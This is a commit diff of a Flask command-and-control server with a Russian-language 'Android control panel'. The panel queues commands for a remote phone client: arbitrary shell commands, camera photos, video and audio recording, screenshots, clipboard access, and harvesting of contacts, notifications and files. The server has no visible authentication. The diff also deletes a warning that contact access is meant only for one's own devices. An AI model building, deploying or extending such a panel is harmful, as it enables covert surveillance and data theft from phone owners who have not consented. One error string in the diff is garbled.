Update app.py

app.py

@@ -20,7 +20,6 @@ file_to_send_to_client = None
 device_status_info = {}
 notifications_history = []
 contacts_list = []
-installed_apps_list = []
 
 
 HTML_TEMPLATE = """
@@ -32,7 +31,7 @@ HTML_TEMPLATE = """
     <title>Панель управления Android</title>
     <style>
         body { font-family: Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; min-height: 100vh; }
-        .sidebar { width: 280px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; }
+        .sidebar { width: 250px; background-color: #333; color: white; padding: 20px; box-sizing: border-box; display: flex; flex-direction: column; }
         .sidebar h2 { margin-top: 0; font-size: 1.2em; border-bottom: 1px solid #555; padding-bottom: 10px; }
         .sidebar ul { list-style: none; padding: 0; margin: 0; }
         .sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 10px; border-radius: 4px; margin-bottom: 5px; }
@@ -42,24 +41,22 @@ HTML_TEMPLATE = """
         h1 { color: #333; text-align: center; margin-bottom: 20px;}
         .control-section { margin-bottom: 20px; padding: 15px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
         label { display: block; margin-bottom: 8px; font-weight: bold; color: #555; }
-        input[type="text"], textarea, input[type="file"] { width: calc(100% - 24px); padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; }
+        input[type="text"], textarea, input[type="file"], input[type="number"] { width: calc(100% - 24px); padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; }
         button { padding: 10px 18px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 0.95em; margin-right: 5px; margin-bottom: 5px;}
         button:hover { background-color: #0056b3; }
         pre { background-color: #282c34; color: #abb2bf; padding: 15px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; max-height: 350px; overflow-y: auto; font-family: 'Courier New', Courier, monospace;}
         .status { padding: 12px; border-radius: 4px; margin-bottom:15px; font-weight: bold; }
         .status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
         .status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
-        .file-browser ul, .data-list ul { list-style: none; padding: 0; }
-        .file-browser li, .data-list li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; }
-        .file-browser li:last-child, .data-list li:last-child { border-bottom: none; }
-        .file-browser a, .data-list a { text-decoration: none; color: #007bff; }
-        .file-browser a:hover, .data-list a:hover { text-decoration: underline; }
+        .file-browser ul { list-style: none; padding: 0; }
+        .file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; }
+        .file-browser li:last-child { border-bottom: none; }
+        .file-browser a { text-decoration: none; color: #007bff; }
+        .file-browser a:hover { text-decoration: underline; }
         .file-icon { margin-right: 8px; }
         .file-browser .dir a { font-weight: bold; }
         .file-browser .download-btn { font-size: 0.8em; padding: 3px 8px; background-color: #28a745; }
         .file-browser .download-btn:hover { background-color: #218838; }
-        .data-list .action-btn { font-size: 0.8em; padding: 3px 8px; background-color: #17a2b8; }
-        .data-list .action-btn:hover { background-color: #138496; }
         .hidden-section { display: none; }
         .status-item { margin-bottom: 10px; }
         .status-item strong { color: #333; }
@@ -68,6 +65,7 @@ HTML_TEMPLATE = """
         .list-item:last-child { border-bottom: none; }
         .list-item strong { display: block; color: #555; }
         .list-item span { font-size: 0.9em; color: #777; }
+        .list-item p {margin: 5px 0;}
     </style>
     <script>
         let currentView = 'dashboard';
@@ -82,7 +80,6 @@ HTML_TEMPLATE = """
             if (sectionId === 'device_status') requestDeviceStatus(); 
             if (sectionId === 'notifications') requestNotifications();
             if (sectionId === 'contacts') requestContacts();
-            if (sectionId === 'apps') requestInstalledApps();
             refreshOutput();
         }
 
@@ -145,12 +142,9 @@ HTML_TEMPLATE = """
                 if (data.notifications && currentView === 'notifications') {
                     renderNotifications(data.notifications);
                 }
-                if (data.contacts && currentView === 'contacts') {
+                 if (data.contacts && currentView === 'contacts') {
                     renderContacts(data.contacts);
                 }
-                if (data.installed_apps && currentView === 'apps') {
-                    renderInstalledApps(data.installed_apps);
-                }
 
 
             } catch (error) {
@@ -245,41 +239,28 @@ HTML_TEMPLATE = """
                 notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
             }
         }
+
         function renderContacts(contacts) {
-            const contactListUl = document.getElementById('contactList');
-            contactListUl.innerHTML = '';
-            if (contacts && contacts.length > 0) {
+            const contactListDiv = document.getElementById('contactList');
+            contactListDiv.innerHTML = '';
+             if (contacts && contacts.length > 0) {
                 contacts.forEach(c => {
-                    const li = document.createElement('li');
-                    li.className = 'list-item';
-                    li.innerHTML = `<strong>${c.name || 'Без имени'}</strong>: ${c.number || 'Нет номера'}`;
-                    contactListUl.appendChild(li);
-                });
-            } else {
-                contactListUl.innerHTML = '<li>Нет контактов для отображения или не удалось их получить.</li>';
-            }
-        }
+                    const itemDiv = document.createElement('div');
+                    itemDiv.className = 'list-item';
+                    // Termux API returns "name: number"
+                    // We split it for better display
+                    const parts = c.split(':');
+                    const name = parts.length > 1 ? parts[0].trim() : "Без имени";
+                    const number = parts.length > 1 ? parts.slice(1).join(':').trim() : c.trim();
 
-        function renderInstalledApps(apps) {
-            const appLictUl = document.getElementById('installedAppsList');
-            appLictUl.innerHTML = '';
-            if (apps && apps.length > 0) {
-                apps.forEach(appPkg => {
-                    const li = document.createElement('li');
-                    const nameSpan = document.createElement('span');
-                    nameSpan.textContent = appPkg;
-                    
-                    const launchBtn = document.createElement('button');
-                    launchBtn.className = 'action-btn';
-                    launchBtn.textContent = 'Запустить';
-                    launchBtn.onclick = (e) => { e.preventDefault(); launchApp(appPkg); };
-                    
-                    li.appendChild(nameSpan);
-                    li.appendChild(launchBtn);
-                    appLictUl.appendChild(li);
+                    itemDiv.innerHTML = `
+                        <strong>${name}</strong>
+                        <span>${number}</span>
+                    `;
+                    contactListDiv.appendChild(itemDiv);
                 });
             } else {
-                appLictUl.innerHTML = '<li>Нет установленных приложений для отображения или не удалось их получить.</li>';
+                contactListDiv.innerHTML = '<p>Список контактов пуст или не удалось его получить.</p>';
             }
         }
         
@@ -344,15 +325,15 @@ HTML_TEMPLATE = """
             document.getElementById('command_str').value = '';
         }
 
-        function submitMediaCommand(type, paramName, paramValueId, param2Name, param2ValueId) {
+        function submitMediaCommand(type, param1Name, param1ValueId, param2Name, param2ValueId) {
             let payload = { command_type: type };
-            if (paramName && paramValueId) {
-                const value = document.getElementById(paramValueId).value;
-                if (value) payload[paramName] = value;
+            if (param1Name && param1ValueId) {
+                const value = document.getElementById(param1ValueId).value;
+                if (value) payload[param1Name] = value;
             }
-            if (param2Name && param2ValueId) { // For second param, e.g., video duration
-                const value2 = document.getElementById(param2ValueId).value;
-                if (value2) payload[param2Name] = value2;
+            if (param2Name && param2ValueId) { // For second parameter (e.g., video duration)
+                const value = document.getElementById(param2ValueId).value;
+                if (value) payload[param2Name] = value;
             }
             sendGenericCommand(payload);
         }
@@ -426,12 +407,6 @@ HTML_TEMPLATE = """
         function requestContacts() {
             sendGenericCommand({ command_type: 'get_contacts' });
         }
-        function requestInstalledApps() {
-            sendGenericCommand({ command_type: 'get_installed_apps' });
-        }
-        function launchApp(packageName) {
-             sendGenericCommand({ command_type: 'launch_app', package_name: packageName });
-        }
 
 
     </script>
@@ -444,7 +419,6 @@ HTML_TEMPLATE = """
             <li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
             <li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
             <li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li>
-            <li><a href="#apps" onclick="showSection('apps')">Приложения</a></li>
             <li><a href="#files" onclick="showSection('files')">Файлы</a></li>
             <li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
             <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
@@ -504,30 +478,15 @@ HTML_TEMPLATE = """
 
         <div id="contacts" class="container hidden-section">
             <h2>Контакты</h2>
-            <div class="control-section" style="border-color: red; background-color: #ffebee;">
-                <p style="color: red; font-weight: bold;">ВНИМАНИЕ: Доступ к контактам является чувствительной операцией. Используйте ответственно и только на своих устройствах для резервного копирования!</p>
-            </div>
             <button onclick="requestContacts()">Запросить список контактов</button>
             <div class="control-section">
                 <h3>Список контактов:</h3>
-                <ul id="contactList" class="list-container data-list">
-                    <li>Запросите список контактов.</li>
-                </ul>
-            </div>
-        </div>
-        
-        <div id="apps" class="container hidden-section">
-            <h2>Установленные приложения</h2>
-            <button onclick="requestInstalledApps()">Запросить список приложений</button>
-            <div class="control-section">
-                <h3>Список приложений (пакеты):</h3>
-                <ul id="installedAppsList" class="list-container data-list">
-                    <li>Запросите список приложений.</li>
-                </ul>
+                <div id="contactList" class="list-container">
+                    <p>Запросите список контактов.</p>
+                </div>
             </div>
         </div>
 
-
         <div id="files" class="container hidden-section">
             <h2>Файловый менеджер (Клиент)</h2>
             <p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
@@ -570,21 +529,21 @@ HTML_TEMPLATE = """
         <div id="media" class="container hidden-section">
             <h2>Мультимедиа</h2>
             <div class="control-section">
-                <button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
-                <label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
-                <input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
+                <button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input_photo')">Сделать фото</button>
+                <label for="camera_id_input_photo" style="display:inline-block; margin-left:10px;">ID камеры:</label>
+                <input type="text" id="camera_id_input_photo" value="0" style="width:50px; display:inline-block;">
             </div>
             <div class="control-section">
-                <button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
-                <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
-                <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
+                <button onclick="submitMediaCommand('record_video', 'camera_id', 'camera_id_input_video', 'duration', 'video_duration_input')">Записать видео</button>
+                <label for="camera_id_input_video" style="display:inline-block; margin-left:10px;">ID камеры:</label>
+                <input type="text" id="camera_id_input_video" value="0" style="width:50px; display:inline-block; margin-right:10px;">
+                <label for="video_duration_input" style="display:inline-block;">Длительность (сек):</label>
+                <input type="number" id="video_duration_input" value="10" style="width:60px; display:inline-block;">
             </div>
-             <div class="control-section">
-                <button onclick="submitMediaCommand('record_video', 'camera_id', 'video_camera_id_input', 'duration', 'video_duration_input')">Записать видео</button>
-                <label for="video_camera_id_input" style="display:inline-block; margin-left:5px;">ID камеры:</label>
-                <input type="text" id="video_camera_id_input" value="0" style="width:40px; display:inline-block;">
-                <label for="video_duration_input" style="display:inline-block; margin-left:5px;">Длит. (сек):</label>
-                <input type="text" id="video_duration_input" value="10" style="width:40px; display:inline-block;">
+            <div class="control-section">
+                <button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input_media')">Записать аудио</button>
+                <label for="audio_duration_input_media" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
+                <input type="text" id="audio_duration_input_media" value="5" style="width:50px; display:inline-block;">
             </div>
             <div class="control-section">
                 <button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
@@ -660,7 +619,7 @@ def index():
 
 @app.route('/send_command', methods=['POST'])
 def handle_send_command():
-    global pending_command, command_output
+    global pending_command, command_output, current_client_path, file_to_send_to_client
     
     data = request.json
     command_output = "Ожидание выполнения..." 
@@ -668,51 +627,67 @@ def handle_send_command():
     command_type = data.get('command_type')
     
     if command_type == 'list_files':
-        pending_command = {'type': 'list_files', 'path': data.get('path', '.')}
+        path_requested = data.get('path', '.')
+        pending_command = {'type': 'list_files', 'path': path_requested}
     elif command_type == 'request_download_file':
         filename = data.get('filename')
-        if filename: pending_command = {'type': 'upload_to_server', 'filename': filename}
-        else: command_output = "Ошибка: Имя файла для скачивания не указано."
+        if filename:
+            pending_command = {'type': 'upload_to_server', 'filename': filename}
+        else:
+            command_output = "Ошибка: Имя файла для скачивания не указано."
     elif command_type == 'take_photo':
         pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
+    elif command_type == 'record_video':
+        pending_command = {
+            'type': 'record_video', 
+            'camera_id': data.get('camera_id', '0'),
+            'duration': data.get('duration', '10') # Default 10 seconds for video
+        }
     elif command_type == 'record_audio':
         pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
-    elif command_type == 'record_video':
-        pending_command = {'type': 'record_video', 'camera_id': data.get('camera_id','0'), 'duration': data.get('duration', '10')}
     elif command_type == 'screenshot':
         pending_command = {'type': 'screenshot'}
     elif command_type == 'shell':
         command_str = data.get('command')
-        if command_str: pending_command = {'type': 'shell', 'command': command_str}
-        else: command_output = "Ошибка: Команда не указана."
+        if command_str:
+            pending_command = {'type': 'shell', 'command': command_str}
+        else:
+            command_output = "Ошибка: Команда не указана."
     elif command_type == 'receive_file':
-        s_fn, t_path = data.get('server_filename'), data.get('target_path_on_device')
-        if s_fn and t_path:
-            f_path = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], s_fn)
-            if os.path.exists(f_path):
-                pending_command = {'type': 'receive_file', 'download_url': url_for('download_to_client', filename=s_fn, _external=True), 'target_path': t_path, 'original_filename': s_fn }
-            else: command_output = f"Ошибка: Файл {s_fn} не найден на сервере."
-        else: command_output = "Ошибка: Недостаточно данных для отправки файла клиенту."
+        server_filename = data.get('server_filename')
+        target_path_on_device = data.get('target_path_on_device')
+        if server_filename and target_path_on_device:
+            file_path_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_filename)
+            if os.path.exists(file_path_on_server):
+                pending_command = {
+                    'type': 'receive_file', 
+                    'download_url': url_for('download_to_client', filename=server_filename, _external=True),
+                    'target_path': target_path_on_device,
+                    'original_filename': server_filename 
+                }
+                file_to_send_to_client = None 
+            else:
+                command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
+        else:
+            command_output = "О��ибка: Недостаточно данных для отправки файла клиенту."
     elif command_type == 'clipboard_get':
         pending_command = {'type': 'clipboard_get'}
     elif command_type == 'clipboard_set':
-        pending_command = {'type': 'clipboard_set', 'text': data.get('text', '')}
+        text_to_set = data.get('text', '')
+        pending_command = {'type': 'clipboard_set', 'text': text_to_set}
     elif command_type == 'open_url':
-        url = data.get('url')
-        if url: pending_command = {'type': 'open_url', 'url': url}
-        else: command_output = "Ошибка: URL для открытия не указан."
+        url_to_open = data.get('url')
+        if url_to_open:
+            pending_command = {'type': 'open_url', 'url': url_to_open}
+        else:
+            command_output = "Ошибка: URL для открытия не указан."
     elif command_type == 'get_device_status':
-        pending_command = {'type': 'get_device_status', 'item': data.get('item')}
+        item_requested = data.get('item') 
+        pending_command = {'type': 'get_device_status', 'item': item_requested}
     elif command_type == 'get_notifications':
         pending_command = {'type': 'get_notifications'}
     elif command_type == 'get_contacts':
         pending_command = {'type': 'get_contacts'}
-    elif command_type == 'get_installed_apps':
-        pending_command = {'type': 'get_installed_apps'}
-    elif command_type == 'launch_app':
-        pkg_name = data.get('package_name')
-        if pkg_name: pending_command = {'type': 'launch_app', 'package_name': pkg_name}
-        else: command_output = "Ошибка: Имя пакета для запуска не указано."
     else:
         command_output = "Неизвестный тип команды."
             
@@ -730,40 +705,45 @@ def get_command():
 
 @app.route('/submit_client_data', methods=['POST'])
 def submit_client_data():
-    global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
+    global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
     
     data = request.json
-    if not data: return jsonify({'status': 'error', 'message': 'No data received'}), 400
+    if not data:
+        return jsonify({'status': 'error', 'message': 'No data received'}), 400
 
     last_client_heartbeat = datetime.datetime.utcnow().isoformat() + "Z"
 
     if 'output' in data:
         new_output = data['output']
         max_len = 20000 
-        command_output = new_output[:max_len] + ("\n... (output truncated)" if len(new_output) > max_len else "")
+        if len(new_output) > max_len:
+            command_output = new_output[:max_len] + "\n... (output truncated)"
+        else:
+            command_output = new_output
     
-    if 'current_path' in data: current_client_path = data['current_path']
-    if 'device_status_update' in data: device_status_info.update(data['device_status_update'])
+    if 'current_path' in data:
+        current_client_path = data['current_path']
+
+    if 'device_status_update' in data:
+        update = data['device_status_update']
+        for key, value in update.items():
+            device_status_info[key] = value
         
     if 'notifications_update' in data:
-        notifications_history = data['notifications_update']
-        if not command_output or command_output == "Клиент онлайн.": command_output = "Список уведомлений обновлен."
+        notifications_history = data['notifications_update'] 
+        if not command_output or command_output == "Клиент онлайн.": 
+            command_output = "Список уведомлений обновлен."
     
     if 'contacts_update' in data:
         contacts_list = data['contacts_update']
-        if not command_output or command_output == "Клиент онлайн.": command_output = "Список контактов обновлен."
-
-    if 'installed_apps_update' in data:
-        installed_apps_list = data['installed_apps_update']
-        if not command_output or command_output == "Клиент онлайн.": command_output = "Список приложений обновлен."
+        if not command_output or command_output == "Клиент онлайн.":
+            command_output = "Список контактов обновлен."
 
 
     if 'heartbeat' in data and data['heartbeat']:
-        is_pure_heartbeat = 'output' not in data and 'device_status_update' not in data and \
-                            'notifications_update' not in data and 'contacts_update' not in data and \
-                            'installed_apps_update' not in data
-        if not command_output or command_output == "Клиент онлайн." or is_pure_heartbeat:
-             if is_pure_heartbeat : command_output = "Клиент онлайн." 
+        if not command_output or command_output == "Клиент онлайн.":
+             if 'output' not in data and 'device_status_update' not in data and 'notifications_update' not in data and 'contacts_update' not in data:
+                command_output = "Клиент онлайн." 
         return jsonify({'status': 'heartbeat_ok'})
         
     return jsonify({'status': 'data_received'})
@@ -785,15 +765,19 @@ def upload_from_client_route():
         filename = werkzeug.utils.secure_filename(file.filename) 
         filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
         
-        counter = 0; base_name, ext = os.path.splitext(filename)
+        counter = 0
+        base_name, ext = os.path.splitext(filename)
         while os.path.exists(filepath):
-            counter += 1; filename = f"{base_name}_{counter}{ext}"; filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
+            counter += 1
+            filename = f"{base_name}_{counter}{ext}"
+            filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
 
         try:
             file.save(filepath)
             origin_command_type = request.form.get("origin_command_type", "unknown")
             if origin_command_type == "request_download_file": 
                  command_output = f"Файл '{filename}' успешно загружен С клиента."
+
             return jsonify({'status': 'success', 'filename': filename})
         except Exception as e:
             command_output = f"Ошибка сохранения файла от клиента: {str(e)}"
@@ -801,12 +785,14 @@ def upload_from_client_route():
 
 @app.route('/get_status_output', methods=['GET'])
 def get_status_output_route():
-    global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list, installed_apps_list
+    global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
     return jsonify({
-        'output': command_output, 'last_heartbeat': last_client_heartbeat,
-        'current_path': current_client_path, 'device_status': device_status_info,
-        'notifications': notifications_history, 'contacts': contacts_list,
-        'installed_apps': installed_apps_list
+        'output': command_output, 
+        'last_heartbeat': last_client_heartbeat,
+        'current_path': current_client_path,
+        'device_status': device_status_info,
+        'notifications': notifications_history,
+        'contacts': contacts_list
     })
 
 @app.route('/uploads_from_client/<path:filename>')
@@ -818,34 +804,50 @@ def list_uploaded_files_route():
     files = []
     try:
         for f_name in os.listdir(app.config['UPLOAD_FOLDER']):
-            if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)): files.append(f_name)
-    except Exception: pass 
+            if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f_name)):
+                files.append(f_name)
+    except Exception:
+        pass 
     return jsonify({'files': sorted(files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)})
 
 
 @app.route('/upload_to_server_for_client', methods=['POST'])
 def upload_to_server_for_client_route():
-    global command_output
-    if 'file_to_device' not in request.files: return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
+    global file_to_send_to_client, command_output
+    if 'file_to_device' not in request.files:
+        return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
+    
     file = request.files['file_to_device']
     target_path_on_device = request.form.get('target_path_on_device')
-    if file.filename == '': return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
-    if not target_path_on_device: return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
+
+    if file.filename == '':
+        return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
+    
+    if not target_path_on_device:
+        return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
 
     if file:
         original_filename = werkzeug.utils.secure_filename(file.filename)
         server_side_filename = str(uuid.uuid4()) + "_" + original_filename
         filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
+        
         try:
             file.save(filepath_on_server)
             command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
-            return jsonify({'status': 'success', 'server_filename': server_side_filename, 'original_filename': original_filename, 'target_path_on_device': target_path_on_device})
-        except Exception as e: return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
+            return jsonify({
+                'status': 'success', 
+                'server_filename': server_side_filename, 
+                'original_filename': original_filename,
+                'target_path_on_device': target_path_on_device
+            })
+        except Exception as e:
+            return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
     return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
 
 @app.route('/download_to_client/<filename>')
 def download_to_client(filename):
     return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
 
+
 if __name__ == '__main__':
     app.run(host='0.0.0.0', port=7860, debug=False)